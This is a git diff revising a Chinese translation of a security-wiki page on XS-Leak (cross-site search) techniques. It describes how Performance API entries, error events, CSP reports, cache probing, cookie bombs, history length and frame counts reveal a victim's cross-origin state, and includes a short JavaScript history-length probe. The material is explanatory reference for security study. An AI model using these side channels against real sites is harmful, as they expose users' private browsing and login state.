这些数据可以通过 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 或 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) 等方法检索,提供全面的性能相关信息。此外,API 通过计算从 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) 获取的时间戳之间的差异来测量执行时间。然而,值得注意的是,对于 Chrome 等浏览器中的某些操作,`performance.now()` 的精度可能仅限于毫秒,这可能会影响定时测量的粒度。
|
||||
|
||||
除了定时测量外,Performance API 还可以用于安全相关的洞察。例如,Chrome 中 `performance` 对象中页面的存在或缺失可以指示 `X-Frame-Options` 的应用。具体来说,如果由于 `X-Frame-Options` 阻止页面在框架中呈现,则该页面不会记录在 `performance` 对象中,从而提供有关页面框架策略的微妙线索。
|
||||
除了定时测量外,性能 API 还可以用于安全相关的洞察。例如,Chrome 中 `performance` 对象中页面的存在或缺失可以指示 `X-Frame-Options` 的应用。具体而言,如果由于 `X-Frame-Options` 阻止页面在框架中呈现,则该页面将不会记录在 `performance` 对象中,从而提供有关页面框架策略的微妙线索。
|
||||
|
||||
### Error Leak
|
||||
|
||||
@ -300,7 +300,7 @@ xs-search/connection-pool-example.md
|
||||
- **Summary:** 由于浏览器错误,导致错误的请求被加载两次。
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
||||
|
||||
在前一种技术中,还识别出浏览器中的 GC 错误导致**资源在加载失败时被加载两次**的两种情况。这将导致 Performance API 中的多个条目,因此可以被检测到。
|
||||
在前一种技术中,还识别出浏览器中的两个错误情况,导致**资源在加载失败时被加载两次**。这将导致性能 API 中出现多个条目,因此可以被检测到。
|
||||
|
||||
### Request Merging Error
|
||||
|
||||
@ -320,7 +320,7 @@ xs-search/connection-pool-example.md
|
||||
- **Summary:** 空响应不会创建资源计时条目。
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
|
||||
|
||||
攻击者可以检测请求是否导致空的 HTTP 响应体,因为**空页面在某些浏览器中不会创建性能条目**。
|
||||
攻击者可以检测请求是否导致空 HTTP 响应体,因为**空页面在某些浏览器中不会创建性能条目**。
|
||||
|
||||
### **XSS-Auditor Leak**
|
||||
|
||||
@ -330,7 +330,7 @@ xs-search/connection-pool-example.md
|
||||
- **Summary:** 在安全声明中使用 XSS 审计器,攻击者可以通过观察在构造有效负载触发审计器过滤机制时响应的变化来检测特定网页元素。
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
在安全声明 (SA) 中,XSS 审计器最初旨在防止跨站脚本 (XSS) 攻击,但可以悖论地被利用来泄露敏感信息。尽管此内置功能已从 Google Chrome (GC) 中删除,但在 SA 中仍然存在。2013 年,Braun 和 Heiderich 证明 XSS 审计器可能会意外阻止合法脚本,导致误报。在此基础上,研究人员开发了提取信息和检测跨源页面特定内容的技术,这一概念被称为 XS-Leaks,最初由 Terada 报告,并由 Heyes 在博客文章中详细阐述。尽管这些技术特定于 GC 中的 XSS 审计器,但发现 SA 中被 XSS 审计器阻止的页面不会在 Performance API 中生成条目,从而揭示了一种可能仍然泄露敏感信息的方法。
|
||||
在安全声明 (SA) 中,XSS 审计器最初旨在防止跨站脚本 (XSS) 攻击,但可以悖论地被利用来泄露敏感信息。尽管此内置功能已从 Google Chrome (GC) 中删除,但在 SA 中仍然存在。2013 年,Braun 和 Heiderich 证明 XSS 审计器可能会意外阻止合法脚本,导致误报。在此基础上,研究人员开发了提取信息和检测跨源页面特定内容的技术,这一概念被称为 XS-Leaks,最初由 Terada 报告,并由 Heyes 在博客文章中详细阐述。尽管这些技术特定于 GC 中的 XSS 审计器,但发现 SA 中被 XSS 审计器阻止的页面不会在性能 API 中生成条目,从而揭示了一种可能仍然泄露敏感信息的方法。
|
||||
|
||||
### X-Frame Leak
|
||||
|
||||
@ -348,7 +348,7 @@ xs-search/connection-pool-example.md
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: 头部
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** 下载不会在 Performance API 中创建资源计时条目。
|
||||
- **Summary:** 下载不会在性能 API 中创建资源计时条目。
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
||||
|
||||
与描述的 XS-Leak 类似,由于 ContentDisposition 头,**下载的资源**也**不会创建性能条目**。此技术在所有主要浏览器中均有效。
|
||||
@ -361,7 +361,7 @@ xs-search/connection-pool-example.md
|
||||
- **Summary:** 资源计时条目泄露重定向的开始时间。
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||||
|
||||
我们发现一个 XS-Leak 实例,利用某些浏览器记录过多跨源请求信息的行为。标准定义了一组应为跨源资源设置为零的属性。然而,在**SA**中,可以通过查询**Performance API**并检查**redirectStart 计时数据**来检测用户是否被目标页面**重定向**。
|
||||
我们发现一个 XS-Leak 实例,利用某些浏览器记录过多跨源请求信息的行为。标准定义了一组应为跨源资源设置为零的属性。然而,在**SA**中,可以通过查询**性能 API**并检查**redirectStart 计时数据**来检测用户是否被目标页面**重定向**。
|
||||
|
||||
### Duration Redirect Leak
|
||||
|
||||
@ -381,7 +381,7 @@ xs-search/connection-pool-example.md
|
||||
- **Summary:** 受 CORP 保护的资源不会创建资源计时条目。
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
||||
|
||||
在某些情况下,**nextHopProtocol 条目**可以用作泄露技术。在 GC 中,当设置**CORP 头**时,nextHopProtocol 将是**空**的。请注意,SA 对于启用 CORP 的资源根本不会创建性能条目。
|
||||
在某些情况下,**nextHopProtocol 条目**可以用作泄露技术。在 GC 中,当设置**CORP 头**时,nextHopProtocol 将是**空的**。请注意,SA 对于启用 CORP 的资源根本不会创建性能条目。
|
||||
|
||||
### Service Worker
|
||||
|
||||
@ -392,8 +392,8 @@ xs-search/connection-pool-example.md
|
||||
- **Code Example**:
|
||||
|
||||
服务工作者是事件驱动的脚本上下文,在一个源上运行。它们在网页的后台运行,可以拦截、修改和**缓存资源**以创建离线 Web 应用程序。\
|
||||
如果通过**iframe**访问**服务工作者**缓存的**资源**,该资源将从**服务工作者缓存**中**加载**。\
|
||||
要检测资源是否**从服务工作者**缓存中加载,可以使用**Performance API**。\
|
||||
如果通过**iframe**访问**服务工作者**缓存的**资源**,则该资源将从**服务工作者缓存**中**加载**。\
|
||||
要检测资源是否从**服务工作者**缓存中加载,可以使用**性能 API**。\
|
||||
这也可以通过定时攻击来完成(有关更多信息,请查看论文)。
|
||||
|
||||
### Cache
|
||||
@ -404,7 +404,7 @@ xs-search/connection-pool-example.md
|
||||
- **Summary:** 可以检查资源是否存储在缓存中。
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
|
||||
|
||||
使用 [Performance API](xs-search.md#performance-api) 可以检查资源是否被缓存。
|
||||
使用 [性能 API](xs-search.md#performance-api) 可以检查资源是否被缓存。
|
||||
|
||||
### Network Duration
|
||||
|
||||
@ -480,7 +480,7 @@ audioElement.onerror = errHandler
|
||||
- **总结:** 在安全声明 (SA) 中,CORS 错误消息无意中暴露了重定向请求的完整 URL。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||||
|
||||
此技术使攻击者能够通过利用 Webkit 基于浏览器处理 CORS 请求的方式来**提取跨源站点重定向的目标**。具体而言,当向目标站点发送一个**启用 CORS 的请求**,该站点根据用户状态发出重定向,而浏览器随后拒绝该请求时,**重定向目标的完整 URL**会在错误消息中披露。此漏洞不仅揭示了重定向的事实,还暴露了重定向的端点及其可能包含的任何**敏感查询参数**。
|
||||
此技术使攻击者能够通过利用 Webkit 基于浏览器处理 CORS 请求的方式来**提取跨源站点重定向的目标**。具体而言,当向目标站点发送一个**启用 CORS 的请求**,该站点根据用户状态发出重定向,而浏览器随后拒绝该请求时,**重定向目标的完整 URL** 会在错误消息中披露。此漏洞不仅揭示了重定向的事实,还暴露了重定向的端点及其可能包含的任何**敏感查询参数**。
|
||||
|
||||
### SRI 错误
|
||||
|
||||
@ -490,7 +490,7 @@ audioElement.onerror = errHandler
|
||||
- **总结:** 在安全声明 (SA) 中,CORS 错误消息无意中暴露了重定向请求的完整 URL。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
||||
|
||||
攻击者可以利用**详细的错误消息**推断跨源响应的大小。这是由于子资源完整性 (SRI) 的机制,该机制使用完整性属性来验证从 CDN 获取的资源是否未被篡改。为了使 SRI 在跨源资源上工作,这些资源必须是**启用 CORS 的**;否则,它们不受完整性检查。在安全声明 (SA) 中,类似于 CORS 错误 XS-Leak,当带有完整性属性的 fetch 请求失败时,可以捕获错误消息。攻击者可以故意**触发此错误**,通过将**虚假的哈希值**分配给任何请求的完整性属性。在 SA 中,结果错误消息无意中揭示了请求资源的内容长度。这一信息泄露使攻击者能够辨别响应大小的变化,为复杂的 XS-Leak 攻击铺平了道路。
|
||||
攻击者可以利用**详细的错误消息**来推断跨源响应的大小。这是由于子资源完整性 (SRI) 的机制,该机制使用完整性属性来验证从 CDN 获取的资源是否未被篡改。为了使 SRI 在跨源资源上工作,这些资源必须是**启用 CORS 的**;否则,它们不受完整性检查。在安全声明 (SA) 中,类似于 CORS 错误 XS-Leak,当带有完整性属性的 fetch 请求失败时,可以捕获错误消息。攻击者可以故意**触发此错误**,通过将**虚假的哈希值**分配给任何请求的完整性属性。在 SA 中,结果错误消息无意中揭示了请求资源的内容长度。这一信息泄露使攻击者能够辨别响应大小的变化,为复杂的 XS-Leak 攻击铺平了道路。
|
||||
|
||||
### CSP 违规/检测
|
||||
|
||||
@ -500,8 +500,8 @@ audioElement.onerror = errHandler
|
||||
- **总结:** 如果我们访问的受害者网站尝试重定向到不同的域,CSP 将触发可检测的错误。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||||
|
||||
XS-Leak 可以使用 CSP 检测跨源站点是否重定向到不同的源。此泄漏可以检测重定向,但此外,重定向目标的域也会泄漏。此攻击的基本思路是**在攻击者网站上允许目标域**。一旦向目标域发出请求,它**重定向**到一个跨源域。**CSP 阻止**对其的访问并创建一个**违规报告作为泄漏技术**。根据浏览器的不同,**此报告可能泄漏重定向的目标位置**。\
|
||||
现代浏览器不会指示重定向到的 URL,但您仍然可以检测到跨源重定向已被触发。
|
||||
XS-Leak 可以利用 CSP 检测跨源站点是否重定向到不同的源。此泄漏可以检测重定向,但此外,重定向目标的域也会泄漏。此攻击的基本思路是**在攻击者网站上允许目标域**。一旦向目标域发出请求,它**重定向**到一个跨源域。**CSP 阻止**对其的访问并创建一个**违规报告作为泄漏技术**。根据浏览器的不同,**此报告可能泄漏重定向的目标位置**。\
|
||||
现代浏览器不会指示重定向到的 URL,但仍然可以检测到触发了跨源重定向。
|
||||
|
||||
### 缓存
|
||||
|
||||
@ -513,7 +513,7 @@ XS-Leak 可以使用 CSP 检测跨源站点是否重定向到不同的源。此
|
||||
|
||||
浏览器可能为所有网站使用一个共享缓存。无论其来源如何,都可以推断目标页面是否**请求了特定文件**。
|
||||
|
||||
如果一个页面仅在用户登录时加载图像,您可以**使资源失效**(以便如果它被缓存则不再缓存,更多信息链接),**执行一个请求**,该请求可能加载该资源,并尝试使用**错误请求**(例如,使用过长的 referer 头)加载该资源。如果资源加载**没有触发任何错误**,则是因为它被**缓存**。
|
||||
如果一个页面仅在用户登录时加载图像,您可以**使资源失效**(以便如果它被缓存则不再缓存,更多信息链接),**执行一个请求**,该请求可能加载该资源,并尝试使用**错误请求**加载该资源(例如,使用过长的 referer 头)。如果资源加载**没有触发任何错误**,则是因为它被**缓存**。
|
||||
|
||||
### CSP 指令
|
||||
|
||||
@ -523,7 +523,7 @@ XS-Leak 可以使用 CSP 检测跨源站点是否重定向到不同的源。此
|
||||
- **总结:** CSP 头指令可以通过 CSP iframe 属性进行探测,揭示策略细节。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
||||
|
||||
Google Chrome (GC) 中的一个新功能允许网页通过在 iframe 元素上设置属性来**提议内容安全策略 (CSP)**,并将策略指令与 HTTP 请求一起传输。通常,嵌入的内容必须**通过 HTTP 头进行授权**,否则将显示**错误页面**。然而,如果 iframe 已经受到 CSP 的管理,并且新提议的策略不更严格,则页面将正常加载。此机制为攻击者打开了一条路径,通过识别错误页面来**检测跨源页面的特定 CSP 指令**。尽管此漏洞被标记为已修复,但我们的发现揭示了一种**新的泄漏技术**,能够检测错误页面,表明根本问题从未完全解决。
|
||||
Google Chrome (GC) 中的一个新功能允许网页通过在 iframe 元素上设置属性来**提议内容安全策略 (CSP)**,并将策略指令与 HTTP 请求一起传输。通常,嵌入的内容必须**通过 HTTP 头进行授权**,否则将显示**错误页面**。然而,如果 iframe 已经受到 CSP 的管理,并且新提议的策略不更严格,则页面将正常加载。此机制为攻击者提供了一条路径,通过识别错误页面来**检测跨源页面的特定 CSP 指令**。尽管此漏洞被标记为已修复,但我们的发现揭示了一种**新的泄漏技术**,能够检测错误页面,表明根本问题从未完全解决。
|
||||
|
||||
### **CORP**
|
||||
|
||||
@ -553,8 +553,8 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
|
||||
- **总结**: 如果 Origin 头在 `Access-Control-Allow-Origin` 头中被反射,则可以检查资源是否已经在缓存中。
|
||||
- **代码示例**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
|
||||
如果**Origin 头**在 `Access-Control-Allow-Origin` 头中被**反射**,攻击者可以利用这种行为尝试在**CORS** 模式下**获取**该**资源**。如果**没有**触发**错误**,则意味着它是**正确地从网络获取的**;如果触发了错误,则是因为它是**从缓存中访问的**(错误出现是因为缓存保存了一个带有允许原始域而不是攻击者域的 CORS 头的响应)。\
|
||||
请注意,如果原始域没有被反射,但使用了通配符(`Access-Control-Allow-Origin: *`),则此方法将无效。
|
||||
如果**Origin 头**在 `Access-Control-Allow-Origin` 头中被**反射**,攻击者可以利用这种行为尝试在**CORS** 模式下**获取**该**资源**。如果没有触发**错误**,则意味着它是**正确地从网络获取的**;如果触发了错误,则是因为它是**从缓存中访问的**(错误出现是因为缓存保存了一个带有允许原始域而不是攻击者域的 CORS 头的响应)。\
|
||||
请注意,如果原始域没有被反射,但使用了通配符 (`Access-Control-Allow-Origin: *`),则此方法将无效。
|
||||
|
||||
## 可读属性技术
|
||||
|
||||
@ -563,7 +563,7 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
|
||||
- **包含方法**: Fetch API
|
||||
- **可检测差异**: 状态码
|
||||
- **更多信息**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
|
||||
- **总结:** GC 和 SA 允许在重定向完成后检查响应的类型(opaque-redirect)。
|
||||
- **总结:** GC 和 SA 允许在重定向完成后检查响应的类型 (opaque-redirect)。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
|
||||
|
||||
使用 Fetch API 提交请求时,设置 `redirect: "manual"` 和其他参数,可以读取 `response.type` 属性,如果它等于 `opaqueredirect`,则响应是一个重定向。
|
||||
@ -576,7 +576,7 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
|
||||
- **总结:** 受跨源打开策略 (COOP) 保护的页面防止跨源交互的访问。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
||||
|
||||
攻击者能够推断跨源 HTTP 响应中跨源打开策略 (COOP) 头的存在。COOP 被网络应用程序用于阻止外部站点获取任意窗口引用。可以通过尝试访问**`contentWindow` 引用**来识别此头的可见性。在 COOP 有条件应用的情况下,**`opener` 属性**成为一个明显的指示器:当 COOP 活动时,它是**未定义的**,而在没有 COOP 的情况下则是**定义的**。
|
||||
攻击者能够推断跨源 HTTP 响应中跨源打开策略 (COOP) 头的存在。COOP 被网络应用程序用于阻止外部站点获取任意窗口引用。可以通过尝试访问**`contentWindow` 引用**来识别此头的可见性。在 COOP 条件应用的情况下,**`opener` 属性**成为一个明显的指示器:当 COOP 活动时,它是**未定义的**,而在没有 COOP 的情况下是**定义的**。
|
||||
|
||||
### URL 最大长度 - 服务器端
|
||||
|
||||
@ -586,9 +586,9 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
|
||||
- **总结:** 检测响应中的差异,因为重定向响应长度可能过大,服务器会回复错误并生成警报。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
||||
|
||||
如果服务器端重定向使用**用户输入进行重定向**和**额外数据**。可以检测到这种行为,因为通常**服务器**有一个**请求长度限制**。如果**用户数据**的长度是**长度 - 1**,因为**重定向**使用了**该数据**并**添加**了一些**额外**内容,它将触发一个**可通过错误事件检测到的错误**。
|
||||
如果服务器端重定向使用**用户输入进行重定向**和**额外数据**。可以检测到这种行为,因为通常**服务器**有一个**请求长度限制**。如果**用户数据**是**长度 - 1**,因为**重定向**使用了**该数据**并**添加**了一些**额外内容**,则会触发一个**可通过错误事件检测到的错误**。
|
||||
|
||||
如果您可以以某种方式将 cookies 设置给用户,您还可以通过**设置足够的 cookies**([**cookie bomb**](hacking-with-cookies/cookie-bomb.md))来执行此攻击,因此**正确响应**的**响应大小**增加时会触发一个**错误**。在这种情况下,请记住,如果您从同一站点触发此请求,`<script>` 将自动发送 cookies(因此您可以检查错误)。\
|
||||
如果您可以以某种方式将 cookies 设置给用户,您还可以通过**设置足够的 cookies**([**cookie bomb**](hacking-with-cookies/cookie-bomb.md))来执行此攻击,因此**正确响应**的**响应大小**增加会触发一个**错误**。在这种情况下,请记住,如果您从同一站点触发此请求,`<script>` 将自动发送 cookies(因此您可以检查错误)。\
|
||||
关于**cookie bomb + XS-Search**的示例可以在此写作的意图解决方案中找到: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
|
||||
`SameSite=None` 或处于相同上下文通常是此类攻击所需的。
|
||||
@ -605,9 +605,9 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
|
||||
|
||||
> 一般来说,_web 平台_ 对 URL 的长度没有限制(尽管 2^31 是一个常见限制)。_Chrome_ 将 URL 限制为最大长度 **2MB**,出于实际原因并避免在进程间通信中造成拒绝服务问题。
|
||||
|
||||
因此,如果**重定向 URL 在某些情况下响应的大小更大**,则可以使其重定向到**大于 2MB 的 URL**以达到**长度限制**。当发生这种情况时,Chrome 会显示一个**`about:blank#blocked`** 页面。
|
||||
因此,如果**重定向 URL 的响应在某些情况下更大**,则可以使其重定向到**大于 2MB 的 URL**以达到**长度限制**。当发生这种情况时,Chrome 会显示一个**`about:blank#blocked`** 页面。
|
||||
|
||||
**显著差异**是,如果**重定向**已**完成**,`window.origin` 会抛出一个**错误**,因为跨源无法访问该信息。然而,如果**限制**被****触发,并且加载的页面是**`about:blank#blocked`**,则窗口的**`origin`** 保持为**父级**的值,这是一个**可访问的信息**。
|
||||
**显著差异**是,如果**重定向**已**完成**,`window.origin` 会抛出一个**错误**,因为跨源无法访问该信息。然而,如果**限制**被****触及,并且加载的页面是**`about:blank#blocked`**,则窗口的**`origin`** 保持为**父级**的值,这是一个**可访问的信息**。
|
||||
|
||||
所有达到**2MB**所需的额外信息可以通过初始 URL 中的**哈希**添加,以便在重定向中**使用**。
|
||||
|
||||
@ -643,7 +643,7 @@ xs-search/url-max-length-client-side.md
|
||||
- **总结:** 可以通过历史长度的滥用来猜测框架/弹出窗口的位置是否在特定 URL 中。
|
||||
- **代码示例**: 以下
|
||||
|
||||
攻击者可以使用 JavaScript 代码**操纵框架/弹出窗口的位置到猜测的 URL**,并**立即**将其**更改为 `about:blank`**。如果历史长度增加,则意味着 URL 是正确的,并且有时间**增加,因为如果 URL 相同则不会重新加载**。如果没有增加,则意味着它**尝试加载猜测的 URL**,但因为我们**立即之后**加载了**`about:blank`**,所以在加载猜测的 URL 时**历史长度从未增加**。
|
||||
攻击者可以使用 JavaScript 代码**操纵框架/弹出窗口的位置到猜测的 URL**,并**立即**将其**更改为 `about:blank`**。如果历史长度增加,则意味着 URL 是正确的,并且有时间**增加,因为如果 URL 相同则不会重新加载**。如果没有增加,则意味着它**尝试加载猜测的 URL**,但因为我们**立即之后**加载了**`about:blank`**,所以**历史长度在加载猜测的 URL 时从未增加**。
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + "#aaa"
|
||||
@ -666,11 +666,11 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: 页面内容
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
|
||||
- **Summary:** 通过检查 `window.length` 属性评估 iframe 元素的数量。
|
||||
- **Summary:** 通过检查 `window.length` 属性来评估 iframe 元素的数量。
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
||||
|
||||
计算通过 `iframe` 或 `window.open` 打开的 **网页中的帧数** 可能有助于识别 **用户在该页面上的状态**。\
|
||||
此外,如果页面始终具有相同数量的帧,**持续** 检查帧数可能有助于识别可能泄露信息的 **模式**。
|
||||
此外,如果页面始终具有相同数量的帧,**持续** 检查帧的数量可能有助于识别可能泄露信息的 **模式**。
|
||||
|
||||
这种技术的一个例子是,在 Chrome 中,**PDF** 可以通过 **帧计数** 被 **检测**,因为内部使用了 `embed`。有一些 [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) 允许对内容进行一些控制,例如 `zoom`、`view`、`page`、`toolbar`,在这种情况下,这种技术可能会很有趣。
|
||||
|
||||
@ -682,14 +682,14 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Summary:** 读取泄露的值以区分两种可能的状态
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||||
|
||||
通过 HTML 元素的信息泄露是网络安全中的一个问题,特别是当动态媒体文件基于用户信息生成时,或者当添加水印时,改变媒体大小。这可以被攻击者利用,通过分析某些 HTML 元素暴露的信息来区分可能的状态。
|
||||
通过 HTML 元素的信息泄露是网络安全中的一个问题,特别是当动态媒体文件基于用户信息生成时,或者当添加水印时,改变了媒体大小。攻击者可以利用这一点,通过分析某些 HTML 元素暴露的信息来区分可能的状态。
|
||||
|
||||
### Information Exposed by HTML Elements
|
||||
|
||||
- **HTMLMediaElement**: 该元素揭示媒体的 `duration` 和 `buffered` 时间,可以通过其 API 访问。[Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: 它暴露 `videoHeight` 和 `videoWidth`。在某些浏览器中,额外的属性如 `webkitVideoDecodedByteCount`、`webkitAudioDecodedByteCount` 和 `webkitDecodedFrameCount` 可用,提供有关媒体内容的更深入信息。[Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: 此函数提供有关视频播放质量的详细信息,包括 `totalVideoFrames`,这可以指示处理的视频数据量。[Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: 该元素泄露图像的 `height` 和 `width`。但是,如果图像无效,这些属性将返回 0,并且 `image.decode()` 函数将被拒绝,指示未能正确加载图像。[Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
- **HTMLMediaElement**: 该元素揭示了媒体的 `duration` 和 `buffered` 时间,可以通过其 API 访问。[了解更多关于 HTMLMediaElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: 它暴露了 `videoHeight` 和 `videoWidth`。在某些浏览器中,像 `webkitVideoDecodedByteCount`、`webkitAudioDecodedByteCount` 和 `webkitDecodedFrameCount` 等附加属性可用,提供有关媒体内容的更深入信息。[了解更多关于 HTMLVideoElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: 此函数提供有关视频播放质量的详细信息,包括 `totalVideoFrames`,这可以指示处理的视频数据量。[了解更多关于 getVideoPlaybackQuality() 的信息](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: 该元素泄露了图像的 `height` 和 `width`。但是,如果图像无效,这些属性将返回 0,并且 `image.decode()` 函数将被拒绝,表示未能正确加载图像。[了解更多关于 HTMLImageElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
|
||||
### CSS Property
|
||||
|
||||
@ -699,8 +699,8 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Summary:** 识别与用户状态或身份相关的网站样式变化。
|
||||
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||||
|
||||
Web 应用程序可能会根据用户的状态更改 **网站样式**。跨域 CSS 文件可以通过 **HTML link 元素** 嵌入到攻击者页面中,**规则** 将被 **应用** 到攻击者页面。如果页面动态更改这些规则,攻击者可以根据用户状态 **检测** 这些 **差异**。\
|
||||
作为一种泄露技术,攻击者可以使用 `window.getComputedStyle` 方法 **读取特定 HTML 元素的 CSS** 属性。因此,如果已知受影响的元素和属性名称,攻击者可以读取任意 CSS 属性。
|
||||
Web 应用程序可能会根据用户的状态改变 **网站样式**。跨域 CSS 文件可以通过 **HTML link 元素** 嵌入到攻击者页面中,**规则** 将被 **应用** 到攻击者页面。如果页面动态更改这些规则,攻击者可以根据用户状态 **检测** 这些 **差异**。\
|
||||
作为一种泄露技术,攻击者可以使用 `window.getComputedStyle` 方法来 **读取特定 HTML 元素的 CSS** 属性。因此,如果已知受影响的元素和属性名称,攻击者可以读取任意 CSS 属性。
|
||||
|
||||
### CSS History
|
||||
|
||||
@ -711,19 +711,19 @@ Web 应用程序可能会根据用户的状态更改 **网站样式**。跨域 C
|
||||
- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
|
||||
|
||||
> [!NOTE]
|
||||
> 根据 [**this**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/),在无头 Chrome 中此方法无效。
|
||||
> 根据 [**这个**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) 的说法,这在无头 Chrome 中不起作用。
|
||||
|
||||
CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样式处理。过去,可以使用 `getComputedStyle()` 方法来识别这些样式差异。然而,现代浏览器已实施安全措施,以防止此方法泄露链接的状态。这些措施包括始终返回计算样式,仿佛链接已被访问,并限制可以使用 `:visited` 选择器应用的样式。
|
||||
CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样式处理。在过去,可以使用 `getComputedStyle()` 方法来识别这些样式差异。然而,现代浏览器已实施安全措施,以防止此方法泄露链接的状态。这些措施包括始终返回计算样式,仿佛链接已被访问,并限制可以使用 `:visited` 选择器应用的样式。
|
||||
|
||||
尽管有这些限制,但可以间接识别链接的访问状态。一种技术涉及诱使用户与受 CSS 影响的区域进行交互,特别是利用 `mix-blend-mode` 属性。该属性允许元素与其背景混合,可能根据用户交互揭示访问状态。
|
||||
|
||||
此外,可以通过利用链接的渲染时间来实现无用户交互的检测。由于浏览器可能以不同方式渲染已访问和未访问的链接,这可能在渲染中引入可测量的时间差。一个概念证明(PoC)在 Chromium 错误报告中提到,演示了使用多个链接来放大时间差,从而通过时间分析使访问状态可检测。
|
||||
